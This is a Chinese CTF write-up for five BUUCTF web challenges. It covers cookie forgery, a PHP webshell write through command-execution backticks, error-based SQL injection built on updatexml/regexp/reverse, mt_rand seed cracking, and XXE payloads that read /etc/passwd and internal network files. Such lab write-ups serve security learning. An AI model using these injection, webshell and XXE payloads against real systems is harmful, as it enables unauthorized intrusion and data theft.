BUUCTF-WEB(71-75)
[watevrCTF-2019]Cookie Store
打开购买flag那个cookie抓包,有个session
值得注意
我们拿去cyberchef解密一下
然后我们试试改一下
{"money": 200, "history": []}
eyJtb25leSI6IDIwMCwgImhpc3RvcnkiOiBbXX0=
然后发送
响应包返回了一个session,我们解密一下就得到flag
[红明谷CTF 2021]write_shell
打开就是源码,我们应该往里面存入数据,也就是代码,到时候访问就执行了,
这里我们先看一下路径
?action=pwd
sandbox/4247b8a5da98794f37ad36c75aaa5631/
然后就试着写数据,这里发现反引号没有被过滤,而且我们可以利用<?= ?>
这个php短标签来写php代码,然后空格被过滤了,我们可以%09绕过一下
所以payload:
?action=upload&data=<?=`ls%09/`?>
然后访问之前得到的路径
然后查看flag
?action=upload&data=<?=`cat%09/f*`?>
[RCTF2015]EasySQL
参考:
[RCTF2015]EasySQL_[rctf2015]easysql 1-CSDN博客
先注册,登录进来,发现一个改密码的
在这里修改密码也没有任何回显
之后我创了一个用户名为1"
的用户,再去随便改个密码,然后发现报错
然后接下来就是开始报错注入,空格被过滤了,还有/**/
因为页面没有什么回显,爆库
1"||(updatexml(1,concat(0x7e,database(),0x7e),1))#
爆表
1"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli')),0x7e),1))#
爆字段(flag是在users这个表中哦)
1"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema='web_sqli')&&(table_name='users')),0x7e),1))#
导出数据,这里由于updatexml只显示32位,所以并没有显示有用的数据
1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1))#
然后我想尝试一下substr,mid,right
,发现并不行,被过滤了,使用limit
会报错,然后看大佬都说正则MySQL 正则表达式(REGEXP)_mysql regexp-CSDN博客,去找到flag所在位置,很牛逼,第一次学到,但是还只是一半
1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1))#
flag{47ee3230-eaea-4a2a-a4b9-d3
然后又学到了这个,还需要使用reverse函数
,逆序输出flag,输出后逆转一下
1"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1))#
}dc845c0dc33d-9b4a-a2a4-aeae-03
最后拼接完整的flag
flag{47ee3230-eaea-4a2a-a4b9-d33cd0c548cd}
[GWCTF 2019]枯燥的抽奖
参考:
[BUUCTF题解][GWCTF 2019]枯燥的抽奖 - Article_kelp - 博客园 (cnblogs.com)
PHP mt_rand安全杂谈及应用场景详解 - FreeBuf网络安全行业门户
打开题目说让我猜后面的字符串
然后F12发现了文件check.php
然后就看到源码了
然后了解到这个随机生成的并不是真的随机,是可以根据某些计算算出来的,这个函数是通过一个种子然后去产生一个随机数,我们只需要知道种子就可以破解这个伪随机数
PHP的mt_rand函数作为一个随机数生成工具在程序中被广泛使用,但是大家都忽略了一个事实,mt_rand生成的随机数不是一个真正的随机数,而是一个伪随机数,不能应用于生成安全令牌、核心加解密key等等,所以很多知名程序都出现过对mt_rand函数的错误使用而导致的安全问题。php_mt_seed是一个破解mt_rand函数种子的工具,对它应用场景的深刻理解和应用能极大的提升漏洞发现的可能和利用的成功率。本文将详细介绍PHP mt_rand函数的安全问题及php_mt_seed应用场景。
我们后面会用到php_my_seed这个工具,我们先把已知的部分转成这个工具可以识别的格式
str1 ='EJOa9oEmi5'
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''
length = str(len(str2)-1)
for i in range(0,len(str1)):
for j in range(0,len(str2)):
if str1[i] == str2[j]:
result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
break
print(result)
40 40 0 61 45 45 0 61 50 50 0 61 0 0 0 61 35 35 0 61 14 14 0 61 40 40 0 61 12 12 0 61 8 8 0 61 31 31 0 61
然后下载这个php_my_seed工具,记得是在linux环境下运行的,记得先编译
make time ./php_mt_seed.c 40 40 0 61 45 45 0 61 50 50 0 61 0 0 0 61 35 35 0 61 14 14 0 61 40 40 0 61 12 12 0 61 8 8 0 61 31 31 0 61
然后我这边没运行起来,我自己编译完又运行了一次
/php_mt_seed 40 40 0 61 45 45 0 61 50 50 0 61 0 0 0 61 35 35 0 61 14 14 0 61 40 40 0 61 12 12 0 61 8 8 0 61 31 31 0 61
得到种子67026161
拿到种子,去生成完整的这个字符串
<?php
mt_srand(67026161); //在这里填入获得的种子
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo($str);
EJOa9oEmi5LpHzqXCixt
然后填入那个猜测的框中
[NCTF2019]True XML cookbook
参考:[NCTF2019]True XML cookbook-CSDN博客
打开源码,发现似曾相识,直接xml注入
那我们抓包xml注入
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything [
<!ENTITY entityex SYSTEM "file:///etc/passwd">
]>
<user><username>&entityex;</username><password>111</password></user>
查看flag(失败版本)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything [
<!ENTITY entityex SYSTEM "file:///flag">
]>
<user><username>&entityex;</username><password>111</password></user>
看来是没有这个/flag
文件,还有一个知识xxe可以内网探测存活的主机,获取/etc/hosts文件,我们分别读取关键文件:/etc/hosts 和 /proc/net/arp:
file:///etc/hosts
然后发现了两个ip
file:///proc/net/arp:
然后尝试访问了一下,不行,然后C段扫描一下
我这里用脚本还是burp的爆破,都没有出来